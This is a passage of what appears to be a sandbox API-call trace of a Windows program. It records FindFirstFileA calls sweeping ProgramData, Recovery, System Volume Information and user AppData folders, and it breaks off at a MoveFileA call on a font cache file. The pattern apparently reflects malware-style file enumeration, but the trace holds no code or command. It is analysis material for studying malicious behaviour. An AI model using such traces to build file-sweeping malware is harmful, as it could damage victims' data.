lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.637] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.641] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610070, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.644] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.648] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.651] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.652] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.652] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.656] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Start Menu\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0078.656] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Sun\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x46007b, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0078.657] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Sun\\Java\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.657] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.659] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Templates\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Java", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0078.659] FindFirstFileA (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName=".", cAlternateFileName="")) returned 0x502558 [0078.660] FindFirstFileA (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0078.661] FindFirstFileA (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0078.662] FindFirstFileA (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502558 [0078.662] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f94d8, dwReserved1=0x4f94d3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0078.662] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0078.662] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0078.662] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.663] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.663] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.665] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x4f80be, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0078.668] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.669] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f70a8, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.701] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x3, cFileName="Color", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0078.701] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.702] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0078.702] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6000, dwReserved1=0x4f5ffb, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.703] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0078.703] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8010, dwReserved1=0x4f800b, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.703] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x503500, dwReserved1=0x5034fb, cFileName=".", cAlternateFileName="")) returned 0x502758 [0078.704] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x504508, dwReserved1=0x504503, cFileName=".", cAlternateFileName="")) returned 0x502798 [0078.705] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6365, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502698 [0078.705] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0078.707] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8010, dwReserved1=0x4f800b, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.711] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450044, dwReserved1=0x520043, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.716] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x700061, cFileName=".", cAlternateFileName="")) returned 0x502718 [0078.723] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0032, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502618 [0078.728] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), 